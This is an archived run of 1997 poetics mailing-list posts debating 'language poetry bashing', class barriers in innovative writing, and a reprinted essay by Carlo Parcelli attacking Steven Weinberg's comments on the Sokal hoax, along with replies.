And where is it written (for i'faith I forgetteth), much-bashed Brother David, "for their works follow after them"? Lo, for they followeth right into yon anthologies & such-like echo-chambers. Forsooth, truly, yon Providence School hath not been bashed so sorely - nor yon NY School. Is it becauseth the materiality of yon signifier hath not been fully macerated & spewed out of yon mouth at the Last Trump? "For by your words shall ye be judged... and whoever says 'you fool!' to his brother shall be liable to the Council". [By-laws of the Poetry Roundtable of the Chickasawga Rotary Club, 1976] - Brother Henry

↑ Index

37. Jack Foley
language poetry bashing -Reply
Thu 2 Oct 1997

For more, see "A=R=T M=E=A=N=S," by Joe Brennan, who is a poet but not younger-than ... at http://webdelsol.com/FLASHPOINT/artmeans.htm

-- JR Foley

>>> Mark Wallace <[redacted]> 10/02/97 02:34pm >>>
I just wanted to sound a note of support for Fredrik Hertzberg's post yesterday in response to a new round of language poetry bashing that's been appearing on the list in the last couple days. I wish I had more time to engage in discussion on this subject right now, but thankfully Frderik's post seems a greatly thoughtful response.

A couple of years back I published a piece in POETIC BRIEFS called "On Language Poetry" bashing in which I tried to detail some of the reasons behind the excessive commonness of such bashing among poets younger than the language poets. Certainly it's not common ONLY among such poets, but it takes on certain specific inflections in that context.

Jeff Hansen, editor of POETIC BRIEFS, is lurking around this list somewhere, and may still have copies of that issue available. If I had more

sophisticated e-mail equipment, I'd try to append the article here. As it is, I can only suggest that you might be interested in asking Jeff if he still has copies.

Sorry to be cryptic and under the reign of the clock.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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38. **acgold01**
Quote of the Day
Thu 2 Oct 1997

My favorite line of the day, addressed to me by my e-mail program at the end of a message:

"Some of the words are too long to format."

As far as I recall, the longest word in the message was "Hejinian."

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39. **mark weiss**
Re: language poetry bashing
Thu 2 Oct 1997

God, I love the sight of wagons being circled! I don't know what it is that gets to me, the dance-like sensuality of the movement into place or the form of the circle itself, the process or the result. I also love parades and brass bands.

At 03:34 PM 10/2/97 -0400, you wrote:
> I just wanted to sound a note of support for Fredrik Hertzberg's
>post yesterday in response to a new round of language poetry bashing
>that's been appearing on the list in the last couple days. I wish I had
>more time to engage in discussion on this subject right now, but
>thankfully Frderik's post seems a greatly thoughtful response.
>
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>reasons behind the excessive commonness of such bashing among poets
>younger than the language poets. Certainly it's not common ONLY among such

>poets, but it takes on certain specific inflections in that context.
>
> Jeff Hansen, editor of POETIC BRIEFS, is lurking around this list
>somewhere, and may still have copies of that issue available. If I had
>more sophisticated e-mail equipment, I'd try to append the article here.
>As it is, I can only suggest that you might be interested in asking Jeff
>if he still has copies.
>
> Sorry to be cryptic and under the reign of the clock.
>
> Mark Wallace
>
>
>/----------
--\
>|
 |
>| [redacted]
 |
>| GWU:
 |
>| http://gwis2.circ.gwu.edu/~mdw
 |
>| EPC:
 |
>| http://writing.upenn.edu/epc/authors/wallace
 |
>|_____
__|
>
>

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40. **Don Wellman**

Re: language poetry bashing

Thu 2 Oct 1997

It seems to me that what is "irreducible" is desire, to echo a phrase in one of Mark Wallace’s recent postings; also that language poetry in its explorations of the constructedness of our (at least in the USA) all too common sense of being used, of our language being used-up, detached desire from it’s language forms —

Now no one can really live with that situation (to my view). I choose the word "desire" not to get preachy about something spiritual, transcendent, or other or "not" —simply in the hopes of addressing an array of palpable emotional facts. Hopefully those new to the excitements and difficulties of poetry, even graying poets and editors like myself, know that desire is irreducible, that desire is not satisfied by making of language itself some fetish object. I also believe that most language writing was perfectly clear concerning this felt dissonance (the difficulties, the limits of language). That agenda for addressing reality and social fact may have in some ways outlived its usefulness. Is language "irreducible"? Is desire "irreducible"? I am loathe to mask the facts of dissonance.I'd like to see the wagons circled around this priciple.

Don Wellman

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41. Robin Tremblay-McGaw

Re: class & "innovative writing"

Thu 2 Oct 1997

Camille--

(As you know, I'm also mostly a lurker here.)

Interesting post. Some quick notes in response. Two things here: class as an issue underlying the practice of writing and how to address it, within the context of "innovative writing."

As someone pointed out to me recently (as I'm struggling with how to address class issues in a piece I'm at work on)--while there is a vocabulary for working with gender/sexuality issues in innovative writing, there is no such vocabulary for working with class issues, particularly in poetry.

Also the issue of having an intellectual life outside of the university. I don't have any answers but I'm very interested in the question! I think there is certainly difficulty there. Though I must say personally (and I'm outside of the University) I'm enjoying the intellectual stimulation of the list, of participating in Bob Gluck's workshop (which is inexpensive relative to Univ class), attending readings here at SPT and elsewhere in SF, reading journals etc and talking to some extent with other writers. Of course, this is in between working full time, being a mother, partner, etc. Bits & pieces.

Robin Tremblay-McGaw

At 11:05 AM 10/1/97 -0700, megan minka lola camille roy wrote:
>Hi all,
>I'm mostly a lurker on this list but the very interesting exchanges

>on race/class of the past few days has provoked me out of my closet.
>
>Two things happened in the past few months that concerned me
>and made me wonder if it would be possible
>here in san francisco to have some sort of public forum (perhaps at
>new langton arts, where I am one of two literary curators) on class
>and "innovative writing" that would not degenerate into name calling.
>
>One was a discussion I fell into at a party with a "innovative" poet
>who has been in the community here a long time. We were reflecting on
>how things have changed over the last fifteen years with the decline
>in arts funding. When I came to san francisco it was possible to have
>a literary community that was very stimulating from the streets so to
>speak. There were for example free workshops taught by Bob Gluck at
>Small Press Traffic. Anyone could drop in. This provided me and others
>with an invaluable opportunity to learn and read and talk etc etc.
>You could find a really smart community. NOW, however, you've got to
>pay for that, through poetics programs, creative writing programs etc.
>One of the main reasons people go to those schools is to find a
>stimulating literary community.
>
>So now, even more than before, the people who are fluent in the terms
>and theories of "innovative
>poetics" are people who can afford to go into debt to the tune of
>tens of thousands of dollars. This is weird, folks. I don't like it
>at all.
>
>The other thing that happened that concerned me was a performance poet
>(spoken word stuff) who protested some curatorial decisions at NLA on
>the basis that we were curating an in group, something she though NLA
>had always done.
>
>It's true and it's not true. We've perhaps been curating more queer,
>minority, younger writers than in the past. That's something we're
>interested in. But what is true is that we curate people who all have
>sort of the art school type of literary education. It's like you
>need that to get in the door, which means $$$. That slants and
>distorts not only the resulting literary community but also
>impoverishes the
>relationship of the literary community to the wider community.
>
>

>I'm wondering how others have dealt with these problems and tensions,
>specifically with relation to "innovative poetics".
>
>camille.
>
>

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42. George Thompson
Re: language poetry bashing
Thu 2 Oct 1997

In response to Don Wellman's recent post:

[snip]

> *Now no one can really live with that situation (to my view). I choose the word "desire" not to get preachy about something spiritual, transcendent, or other or "not" simply in the hopes of addressing an array of palpable emotional facts. Hopefully those new to the excitements and difficulties of poetry, even graying poets and editors like myself, know that desire is irreducible, that desire is not satisfied by making of language itself some fetish object.*

[more snip]
>
Some people fetishize playboy pinups. Others fetishize the socks of blue-collar guys. Some people fetishize language. Others fetishize "desire". And so forth.

In all cases, the fetish works for you if it works for you.

And, as the Buddha knows, desire is not irreducible.

I think.

George Thompson

↑ Index

43. James Finnegan
Re: language poetry bashing
Thu 2 Oct 1997

In a message dated 97-10-02 15:42:14 EDT, you write:

> *A couple of years back I published a piece in POETIC BRIEFS called "On Language Poetry" bashing in which I tried to detail some of the reasons behind the excessive commonness of such bashing among poets younger than the language poets. Certainly it's not common ONLY among such*

> *poets, but it takes on certain specific inflections in that context.*

Seems to me over the years the language writers and their adherents have given as good as they got--wheeling out their big guns to bring down the walls of mainstream practice and stolid MFA program verse. When the shelling stops, that's when you should worry. (Sorry about the military metaphor, but it's the List's fault.) Then it's really over--lights out sayonara baby say goodbye--your movement is a footnote like Futurism. As for the youth, it's their biological duty to pull down the old statues.

Finnegan

↑ Index

44. David Bromige
Melissa Wolsak
Thu 2 Oct 1997

Fellow-Listers, I want to welcome to the List Mellisa Wolsak, whose _The Garcia Family Co-Mercy_ (Tsunami Editions, 1995) is one of the boldest & most challenging "first books" it's been my pleasure to encounter. She lives, lurks, & soon I hope, lists, in Vancouver, and is one of those unique light-me-up talents that gather around the Kootenay School of [extraordinary] Writing, a shifting site of poetic interaction (reading venue, workshop locus, social club) but also a mode of being. David

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45. R. Gancie
Oh No! Not That Sokal Yokel
Thu 2 Oct 1997

I thought those interested in the Sokal opera might find this posting of interest. This article (partially posted below)first appeared in on-line mag, PostMortem. I also published a lengthy review of Gross' and Levitt's Higher Superstition in British print mag, Science As Culture, late last year. The latter is more pertinent to the current discussion but I can't transmit it because I don't have a copy in any form.---Carlo Parcelli. P.S. Don't count Adorno and the Frankfurt school out as regards the above topic.e.g. Dialectic of Enlightenment.

"Science smiling into its beard, or first full-dress
encounter with evil"
by Carlo Parcelli

"[H]ighmindedness is the mark of every professional ideology. Hunters
for instance would never dream of calling themselves butchers of the
woods; they prefer to call themselves the real friends of animals and
Nature, just as business men uphold the principle of fair profit, and the
god that thieves also take for their own is the business men's god, that
distinguished promoter of international concord, Mercury. So not much
importance need be attached to the way an activity is mirrored in the
consciousness of those who practice it."(from Robert Musil's The Man
Without Qualities, chapter 72)

Robert Musil, in his monumental novel about pre-Anschluss Vienna
entitled The Man Without Qualities, addresses often and profoundly
social and epistemological questions arising from applications of science
and technology acceleratingly evident in pre-World War I Europe.
Chapter 72 contains some of the most succinct expressions of Musil's
concerns. The first paragraph of the chapter which is sardonically entitled
Science Smiling Into Its Beard, Or First Full-Dress Encounter With Evil
reads thus:

A few words must now be said about a smile, a masculine smile at that,
with a beard attached to it, whereby the general activity of smiling in
one's sleeve was transposed into the masculine one of smiling into one's
beard. It was the smiling men of science and learning who had accepted
Diotoma's invitation and were listening to the celebrated men

of the arts.
Although they smiled, it must on no account be believed that they did so
ironically. On the contrary, it was their way of expressing homage and
incompetence, a matter that has already been mentioned. But one must
not let oneself be deceived by that either. It was true enough where their
conscious mind was concerned; yet in their sub-conscious-to make use
of this customary word-or, to put it more exactly, in the sum total of their
being, they were people in whom a propensity to Evil crackled like the
fire under a cauldron.

I was reminded of this passage in Musil's work when I encountered
Steven Weinberg's piece, Sokal's Hoax, in the August 8 New York
Review. In his first paragraph, Weinberg strikes the very tone, smile
included, that Musil alludes to:

Like many other scientists, I was amused when I heard about the prank played by NYU mathematical physicist Alan Sokal, who late in 1994 submitted a sham article to the culture studies journal Social Text.

A couple of friends of mine brought me a copy of Weinberg's article
cautioning me that it would "get my hackles up." Actually, it did nothing of
the sort. Even though Weinberg points up the pitfalls of applying
interpretation to mathematically defined phenomena by ridiculing aspects
of the writings of culture theorists, his piece contained eight caveats
concerning the limits of science which dovetail quite nicely with my own
concerns. In fact, I was startled to find Weinberg making a number of the
same points which I made in a book review of Higher

Superstition by
Paul R. Gross and Norman Levitt published in a recent issue of Science
As Culture. It would be delusional of me to think that a scientific
eminence like Steven Weinberg would read anything I wrote much less
consider cautionary any insights that I might provide. I therefore must
conclude that Weinberg's caveats that strip the power from his own piece
and form the foundation of mine have a certain pan-cultural quality that
transcends educational, economic and doctrinal castes. Following are the
eight alarms that Weinberg and I would like to sound:

1) Weinberg dissociates his argument from technological applications. He
states:

Those who seek extrascientific messages in what they think they
understand about modern physics are digging dry wells, In my view, with
two large exceptions, the results of research into physics (as opposed,
say, to psychology) have no legitimate implications for culture or politics
or philosophy. (I am not talking here about the technological
applications of physics, which of course do have a huge effect on
our culture,...) (my italics)

I assume that one would exclude science's "extrascientific messages" in
which scientists, CEO's and journalists proselytize for the inherently and
ineluctably progressive nature of science or the justification of "pure"
scientific research on the grounds that often unpredictable yet beneficial
technologies accrue as 'spinoffs'. In short, how do "purely scientific

discoveries" achieve ahistorical status; in other words how do
phenomena, universalized, quantified or otherwise shed their historicity?

2) The second part of Weinberg's quote above contains caveat number
two:

...or about [physic's] use as metaphor, but about the direct logical
implications of purely scientific discoveries themselves.)

But science writing itself because of the mathematization and
quantification of phenomena resorts to metaphor to communicate only
contingently the "purely scientific." This is not to fault all science writing
but when language as opposed to mathematical expression is used to
describe physical phenomena then the limited tools of language including
metaphor impose their conditions on expression and communication.
Weinberg's phrase, "logical implications", is an attempt to fuse the
ineluctable element perceived in science e.g. its discrete logic with the
historical and hermeneutical change that it is often required to undergo
leading to the pliable and breachable skin of "implications."

Though I have no beard to smile through, I was amused (and not
surprised) to read in Higher Superstition that the authors held the
philosophical movement, Logical Positivism, in high regard specifically the
work of A.J. Ayer. Although this form of positivism's connection to
physics is based primarily on personal temperament one understands
Gross' and Levitt's affection for it because it, like mathematical equations
in their ideal state, is simple and tidy---actually anal. In this manner, the

Vienna Circle even mistook Wittgenstein's anality for their own. But more than that, Gross and Levitt are attracted to Logical Positivism's comprehensibility. It is akin to poetasters who sing the praises of A.E. Houseman, Robert Service, Edgar Lee Masters and Robert Frost while finding Charles Olson, Ezra Pound, David Jones or even T.S. Eliot gratuitously difficult. Often it is difficult for scientists more than other people to see their personal limitations expressed in seemingly objective choices and connections because as Musil puts it:

...[A]fter all [science] dominates us, not even an illiterate being safe from it, because he learns to live together with countless things that are born of science)

The world more and more conforms to the conditions of science so we tend to forget that the world itself is not scientific.

3)Which leads to caveat three. Weinberg admits that science is inherently hegemonic. If we are to accept "purely scientific discoveries" as "objective" and "unbiased" then the implication is that they are also benign in the sense that they are not "discovered" with any agenda in mind. You can see how difficult it is to separate the notion of an aparticular scientific moment from its intention. According to Weinberg and others in the scientific community no generalization can be made about the intention of science nor will members of the scientific community suffer any criticism of sciences special relationship with 'reality.' There is indeed a

paternalistic if not a posture of false omniscience behind such insistence
upon immunity from criticism that is hard to reconcile with the alleged
compelling nature of the argument for "a one-to-one correspondence"
between scientific explanation and objective reality and its continuing
failure by force of argument to compel conformity rather than contrary
interpretation.

4)Weinberg's fourth caveat is related to the first three. He writes:

The other, more important exception to my statement is the profound
cultural effect of the discovery, going back to Newton, that nature is
strictly governed by impersonal mathematical laws. Of course, it still
remains for us to get the laws right, and to understand their range of
validity; but as far as culture and philosophy are concerned the difference
between Newton's and Einstein's theories of gravitation or between
classical and quantum mechanics is immaterial.

Then comes Weinberg's caveat:

There is a good deal of confusion about this, because quantum mechanics
can seem eerie if described in ordinary language.

First note, in the first part of the quoted material above that physical
theory is provided with ineluctable 'position' because it is expressed
through laws and yet outfitted with the 'momentum' of time by the very
mutability of these laws as scientists wiggle "to get the laws right." It
simply remains for scientists to declare that science is cumulative and that
in the "effort to get laws right" they will not broach any

fundamental
change. In short, five hundred years is apparently enough time to assert
the immutability of scientific laws. Science has expanded our conceptions
of time to something approximating the Hindus or Mayans. But our idea
of the eternal does not rest with our actual experience of time but in our
ability to abstract it.

When Weinberg says that "there is a good deal of confusion" as regards
quantum theory and western standards of perception and expression, he
is minimizing a problem that has engaged physicists, historians of science
and philosophers of science since the inception of quantum. Weinberg
himself is confined to ordinary language when he endeavors to
communicate the tenets of quantum theory to people with a limited or
non-existent mathematical background. Weinberg's popular books rely
on standard methods of language expression including metaphor to
communicate their points. In the realm of language, where quantum finds
no adequate expression, the differences "between classical and quantum
mechanics "is" not "immaterial." If language is inherently deceptive or
insufficient for the task why does Weinberg write books or articles for
that matter. The paradox reminds me of a chapter in a book by physicist
Frijtof Capra called The Tao of Physics. The chapter is called Beyond
Language yet is comprised of several thousand words.

Certainly given the success of his books which popularize various
physical phenomena, Weinberg is not recommending that we adopt

Wittgenstein's famous tenet at the end of his Tractatus, "What we cannot
speak about we must pass over in silence[?]" If so we can happily and
gratefully look forward to no more popularizations of the natural world
from Weinberg or his colleagues.

Here allow me to provide a counterpoint to Weinberg's 'pragmatic'
position. Physicist and mathematician T. Bergstein in his book Quantum
Physics and Ordinary Language came to this conclusion about the
"eeriness" of the phenomena and its expression by expanding the
"implications" of the physical term 'complementarity':

Through the selection of words and sentences it is possible for the mind
to accentuate or weaken the complementary elements of communication
in innumerable ways. The wide variety of different forms of knowledge
embedded in language cannot ever be comprised by scientific description
because the accentuation is necessarily fixed on the subject-object
partition. An adequate description of human existence must be sought in
the ordinary uses of language, in the humanistic sciences, and in poetry -
not in natural science.

Poetry! We could start with Wallace Steven's poem The Pure Good Of
Theory which

would go far in pointing out to Weinberg many of the contradictions in his
thought. Stevens writes:

. . . If we propose

a large-sculptured, platonic person, free from time,

And imagine for him the speech he cannot speak,

A form, then, protected from the battering, may

Mature: A capable being may replace

Dark horse and walker walking rapidly.

Felicity, ah! Time is the hooded enemy,

The inimical music, the enchantered space

in which the enchanted preludes have their place.

Unlike Weinberg (who could be that "large-sculptured, platonic person"),
Stevens honestly addresses epistemological conundrums as they manifest
themselves in the process of writing and possesses considerable
philosophical tools with which to do so.

From the "humanistic sciences", I would propose Edmund Husserl,
specifically his book, The Crisis of the European Sciences and
Transcendental Phenomenology: Husserl writes:

Where is that huge piece of method subjected to critique and clarification
[-that method] that leads from the intuitively given surrounding world to
the idealization of mathematics and to the interpretation of these
idealizations as objective being? Einstein's revolutionary innovations
concern the formulae through which the idealized and naively objectified
physis is dealt with. But how formula in general, how mathematical
objectification in general, receive meaning on the foundation of life and
intuitively given surrounding world-of this we learn nothing; and thus
Einstein does not reform the space and time in which our vital life runs its
course.

Weinberg might agree with Husserl above regarding the separation of "mathematical objectification" from cultural considerations. But Husserl demonstrates that the interchange between the mathematization of phenomena and the phenomena themselves occurs on a much more fundamental level and yet, in spite of this, only effects the cultural and societal shape of human existence and not its "vital life." People like Weinberg tend to confuse the hegemony of technology and retrograde considerations of its scientific origins with more fundamental changes, when in reality that hegemony is no more than a cultural condition amplified by its present historical currency.

Bergstein's "complementary elements" sound perilously like metaphor where a few elements are drawn together to illuminate the whole which is revealed as the template for metaphor's techne. The inability to describe scientifically e.g. mathematically "the wide variety of different forms of knowledge" e.g. experience presages the failures of the Strong Artificial Intelligence project. (Note the way A.I. advocates like Daniel Dennett have a propensity to set up artificial antagonists, straw adversaries, who are little more than 'thought experiments', whose counterpoints come from Dennett's own mind, which he then proceeds to defeat in argument though often he even fails to accomplish that.)

And lastly Bergstein says that "the illumination of human existence" should be left not to Weinberg, Sokal, Gross and Levitt but to those that they

despise-philosophers, social theorists and even poets. Perhaps Bergstein
had seen the smiling beard of Musil's "first full-dress encounter with evil"
and decided that others with more altruistic impulses should be entrusted
with interpreting paradoxes that scientists have heaped up and then
largely ignored in favor of those discoveries which yield marketable
technological results.

5) Caveat number five (which relates to caveat number four) comprised a
major part of my review in Science as Culture. Weinberg's formulation
reads thus:

I have to admit that physicists share responsibility for the widespread
confusion about such matters. Sokal quotes some dreadful examples of
Werner Heisenberg's philosophical wanderings...

Weinberg goes on to make this statement:

(Heisenberg was one the great physicists of the twentieth century, but he
could not always be counted on to think carefully, as is shown by his
technical mistakes in the German nuclear weapons program.)

But how does it follow that Heisenberg was a poor philosopher because
he was a poor experimenter? It would seem that Heisenberg who was a
supreme theoretician would likewise make for an imaginative and
meticulous philosopher. Heisenberg's discussions with various
philosophers, especially Neo-Kantians, rested on a reading and
understanding of continental philosophy that is extremely rare among
current American physicists. How can Weinberg or Sokal who seem to
have no background in philosophy and have contributed far less

to
theoretical physics judge Heisenberg's powers in these areas especially
when they insist on expertise from people in other fields?

Weinberg goes on to criticize Louis de Broglie in the same vein. This is a
bit ironic to this reader because in Higher Superstition, a book that
Weinberg praises, its authors Gross and Levitt hold up de Broglie as a
sensible extrapolater of physical concepts into philosophical discourse.
The overall subjectivity of the matter renders Weinberg's argument
without merit. The hubris that comparative mediocrities like Weinberg
and Sokal show toward other physicists and scientists who disagree or
whose statements are disagreeable to their position but who demonstrate
a superior knowledge and understanding in areas such as philosophy
points to extrascientific intent and motive. Weinberg claims he is able to
precipitate cultural conditions from the fundamental scientific
understanding of phenomena. But again context wins out and Weinberg's
caveats in the form of discrete categories blend in ways he seems not to
have intended.

Weinberg creates his own paradox. His commonsense form of
pseudophilosophical discourse relies heavily on his own pedestrian
cultural and epistemological assumptions. He disagrees with Gross and
Levitt on the merits of the philosophical arguments of Louis de Broglie
precisely because arguments about physical phenomena couched in
language, philosophical or otherwise , are wide open to

interpretation. If
Weinberg were to train for e.g. read with attention texts that would allow
him to approach a desired set of discretions, he would run the risk as
many of his colleagues have of challenging his own core assumptions.

Recently, I picked up Wolfgang Pauli's The Influence of Archetypal
Ideas On the Scientific Theories of Kepler which explains Kepler's
discoveries both in their historical perspective and with a Jungian tinge.
We must assume that Weinberg et al would reject and ridicule Wolfgang
Pauli as they do Heisenberg, Prigogine and de Broglie and the thousands
of other scientists and mathematicians that have endeavored to use
language based tools to explicate physical phenomena and its
implications. What scientist or mathematician who is more than a
technician has not speculated in this manner including John von Neumann
who, though as reactionary as the creator makes us, came through the
constraints of logical discourse, to a faux Buddhist interpretation
concerning the problems surrounding conceptual expression and quantum
complementarity.

Actually a more illuminating piece concerning this dimension of alleged
scientific culpability appeared in the Book World section of the
Washington Post for August, 11. Robert L. Park, a professor of physics
at the University of Maryland, reviewed John Horgan's recent book, The
End of Science. At the end of the review, in which Horgan

caricatures
Weinberg as "a tough minded rationalist", Park writes this:

But Horgan ends with the fuzzy, feel-good silliness of Frank Tipler, who
concluded in the Physics of Immortality that at a distant point in time
we will be resurrected as computers. It is naive ironic science gone mad.

I pointedly criticized Tipler's book in an earlier PostMortem concerning
the Mary Lefkowitz flap as well as in my review in Science as Culture.
Tipler's book is indeed an intellectual cowpie but it is not the exception in
science writing.

Park concludes his review with this revelation:

By the time the shuttle got me to my rental car, I realized that ending with
Tipler was a metaphor. This, Horgan is warning us, is where science is
headed. Everyone will be free to choose the theory that suits them.
Without empiricism to keep the score, one ironic science is as good as
another. Science has manned the battlements against the postmodern
heresy that there is no objective truth, only to discover postmodernism
inside the wall.

This statement would make Frank Tipler jump out of his skin.
Postmodernists would find its naivete amusing possibly responding with a
volley of laughs and guffaws through their own beards. Park is asking for
the impossible. He wants the logic of mathematical science to again
reflect the rational that finds its expression in everyday experience. Park
wants quantum to yield to everyday language and not to the inexorable

mathematical logic of Frank Tipler's computer extrapolated equations which far from demonstrating theoretical relativism are actually a working paper for those doing research in Strong Artificial Intelligence, fifth generation computers and the like. (The second half of the book is a veritable catechism of the current canon of mathematical physics.)

Empiricism 'keeps score' at present only through its technological application. And if you recall, Weinberg in his review said his argument rejected the "technological applications of physics, which of course do have a huge effect on our culture".

6) Caveat 6. Weinberg admits that he cannot prove the existence of objective reality. Frankly, I don't know why he brings it up. Sokal and Gross and Levitt also do but, even though John von Neumann and certain Buddhist sects have struggled with the question of objective reality, it has never been an issue with the philosophers and social theorists that Weinberg et al attack. If they would read Wittgenstein's Remarks on the Foundations of Mathematics they would understand why they misunderstand deconstructionists and social theorists. But anyway as regards "objective realty" Weinberg writes:

...[T]he languages in which we describe rocks or in which we state physical laws are certainly created socially, so I am making an implicit assumption...that our statements about the laws of physics are in one-to-one correspondence with aspects of objective reality. To put it

another way, if we ever discover intelligent creatures on some distant
planet and translate their scientific works, we will find that we and they
have discovered the same laws.

'We' and 'they' have not even discovered the same laws here on earth.
Many of the 'they', which comprise the majority of humanity, were
coerced and brutalized into accepting our laws. Ask 'them.' Many now
embrace the technological fruits of western scientific legalism; but few
outside of those who have themselves become scientists understand or
accept the philosophical catechism of 'objective reality' that has formed
around the empirical method. Many people in sciences core culture reject
the materialist implications of science. These indeed are cultural questions
which cannot be wholly attributed to ignorance of the empirical sciences.
If Weinberg's adolescent fantasy were to come to pass, no doubt
"intelligent creatures on some distant planet" will 'discover' our 'objective
reality' at the point of whatever state of the art sword human science has
forged for their powerful handlers.

But in these matters Weinberg insists on demonstrating his chauvinism
and bigotry. He writes:

Sarah Franklin...challenges an argument of Richard Dawkins that in
relying on the working of airplanes we show our acceptance of the
working of the laws of nature, remarking that some airlines show prayer
films during takeoff to invoke the aid of Allah to remain safely airborne.

Does Franklin think that Dawkin's argument does not apply to her? If so would she be willing to give up the use of the laws of physics in designing aircraft, and rely on prayers instead?

First, no Weinberg, Dawkins argument does not apply to Franklin when you take into account the likelihood that Franklin is not Muslim. Secondly, does Weinberg plan to get to the afterlife in an airplane or is an airplane, as Muslims and many of the rest of us percieve, a potential undesirable means to that end?

And translation is not a scientifically objective activity any more than relating our perceptions is. As Pauli, Hansen, Husserl, Adorno and Feyerabend (among many other physicists, philosophers etc.) have pointed out it is the mathematization of the process that has provided the "one-to-one correspondence" that by Weinberg's own admission require his "implicit assumption." (Read comment on Dennett above) Weinberg's argument is circular but that doesn't mean it is wrong. It simply means given the meager abilities of Weinberg to argue his case, he can speak of nothing that would help us know for certain whether he is right or wrong. But is the inability to effectively bring closure to the problem he addresses due to Weinberg's lack of philosophical acumen; or are the epistemological tools at his disposal fundamentally inadequate for the task?

(The remainder of this article can be found at PostMortem http://www.geocities.com/CapitolHill/1848/)

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46. Susan Wheeler

Re: POETICS Digest - 30 Sep 1997 to 1 Oct 1997

Thu 2 Oct 1997

>----------
>
>Date: Wed, 1 Oct 1997 12:50:37 -0700
>From: Aldon Nielsen <[redacted]>
>Subject: Re: That was no gentleman, that was a shrinking violet
>
>would have been in on this Stein conversation earlier, but I now have no
>access to email from home (hope to change that in the coming months) -- so
>only see my mail a few times per week --
>
>yes, _Reading Race_ contains a now somewhat outdated discussion of
>_Melanctha_ -- the publisher is U of Georgia Press,,,,, and I can make a
>shady postal deal with anybody who can't find the volume nearby --
>
>BUT
>
>among the more recent relevant publications is the Fall 1996 issue of
>Modern Fiction Studies devoted to Stein ,, which contains, along with much
>else worthy of note, Lorna Smedman's article on Stein and racialized language

Susan Wheeler
[redacted]
voice/fax [redacted]

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47. Tom Beard

Re: "Yokel"

Fri 3 Oct 1997

So, Weinberg and the other scientists and science writers that the article mentions are, or display the qualities of:

evil
anal
poetasters
paternalistic
false omniscience

failures
hubris
mediocrities
pedestrian
adolescent
chauvinism
bigotry
meager.

Well, I'm glad to see that cultural theorists are, unlike those nasty scientists, above resorting to smug ad hominem arguments.

Tom Beard, BSc DipAppSci (Oh! The shame!)

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48. Tom Beard
Yokels
Fri 3 Oct 1997

Now that I've let off some steam, perhaps I should make some more measured replies to the points raised by the article.

> *An adequate description of human existence must be*
> *sought in the ordinary uses of language, in the humanistic sciences, and*
> *in poetry - not in natural science.*

Why is the author resorting to such binarism? I have certainly found the works of Wallace Stevens, Michele Leggott, Denis Diderot and Milan Kundera to provide vital steps towards forming, for me, an "illumination of human existence", but so have the works of Richard Dawkins, Alan Turing, Sophie Germain and Edward Lorenz. We are human, and thus succumb to desire, acculturation and oppression; but we also succumb to viruses, neurochemical imbalances and gravity.

> And lastly Bergstein says that "the illumination of human
> existence" should be left not to Weinberg, Sokal, Gross and Levitt but
> to those that they despise - philosophers, social theorists and even
poets.

It's not clear to me from the quotes in the article, or from Weinberg's other writings, that they do despise philosophers or poets. Or do Ayer and Popper not count as philosophers, perhaps because they are guilty of comprehensibility?

I think the author misreads Weinberg's statements in the following passage:

> *if we ever discover intelligent creatures on some*
> *distant planet and translate their scientific works, we will find that*
> *we and they have discovered the same laws.*

Parcelli's response ("'We' and 'they' have not even discovered the same laws here on earth. Many of the 'they', which comprise the majority of humanity, were coerced and brutalized into accepting our laws.") seems to disregard that Weinberg writes specifically of "scientific works", not of belief systems in general. Thus, while many different cultures and religions have widely differing explanations or narratives of the world, Weinberg is saying that any group which follows what might broadly be termed "scientific" principles (such as falsifiability, a combination of analysis and synthesis etc) might be expected to find similar theories. Science is thus regarded as useful because it is consistent.

Finally, the title of the post is strangely consistent with a belief that used to be traditional among the arts and humanities (one that is in opposition to the usual critique of science's relation to socioeconomic structures): that the arts are the proper domain of the aristocrats, whereas science is better left to the "yokels".

Tom "smiling into his" Beard

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49. George Bowering

Re: no more language-bashing

Fri 3 Oct 1997

Oh no! Can Bromige be right that Imagism is gone? Oh no! I just spent the last 12 months writing 3400 Imagist poems. Now what am I going to do? Does anyone want to trade me a Bill Berkson book for 3400 Imagist poems?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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50. Mark Prejsnar

Re: language poetry bashing

Fri 3 Oct 1997

On Thu, 2 Oct 1997, Don Wellman wrote:

> *felt dissonance (the difficulties, the limits of language). That agenda for addressing reality and social fact may have in some ways outlived its usefulness. Is language "irreducible"? Is desire "irreducible"? I am loathe to mask the facts of dissonance.I'd like to see the wagons circled around this priciple.*

> *Don Wellman*

Very vague, but not bad. Blakean, in fact. In general I have great respect for the work of Bromige, Gould and others on this list; sometimes I wish I could filter 'em out though when the main point of their posts is to trivialize and dismiss issues that are actually about poetix. Their responses to Mark Wallaces small screed being a case in point.

Seems to me that the work done under the LangPo rubric is one of a large number of useful, helpful, pattern-breaking tendencies in poetry in the US in the last 30 years. Defensiveness toward it seems to be *mostly* (as Perelman and others have suggested) a kind of furious very-US hatred of groups, of the building of collective identities...

Thanx to Don Wellman for at least addressing the issue a bit...I don't agree with him that langpo is an "agenda" that has outlived its usefulness...Actually, to the main actors in the group that is probably what it is..To the poetry scene in general it seems to me to be mostly a helpful example of serious and unafraid attention to writing.

Mark P.
atlanta

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51. Maria Damon
Re: Quote of the Day
Fri 3 Oct 1997

At 5:14 PM -0400 10/2/97, [redacted] wrote:
>My favorite line of the day, addressed to me by my e-mail program at the
>end of a message:
>
>"Some of the words are too long to format."
>
>As far as I recall, the longest word in the message was "Hejinian."

sounds like the students i used to get (not any more, they've gotten more sophisticated).

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52. Miles Champion
Ron Silliman's Ketjak & The Age of Huts
Fri 3 Oct 1997

Dear List--

Apologies in advance for troubling everyone with this query, but if anyone could give me any (back-channel) advice or suggestions as to where I might look for, or be able to get hold of, Ron Silliman's _Ketjak_ &/or _The Age of Huts_, I'd be very grateful. Thanks.

--Miles

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53. henryg
Re: language poetry bashing
Fri 3 Oct 1997

On Fri, 3 Oct 1997 09:13:19 -0400 Mark Prejsnar said:
>
>Very vague, but not bad. Blakean, in fact. In general I have great
>respect for the work of Bromige, Gould and others on this list; sometimes
>I wish I could filter 'em out though when the main point of their posts is
>to trivialize and dismiss issues that are actually about poetix. Their
>responses to Mark Wallaces small screed being a case in point.

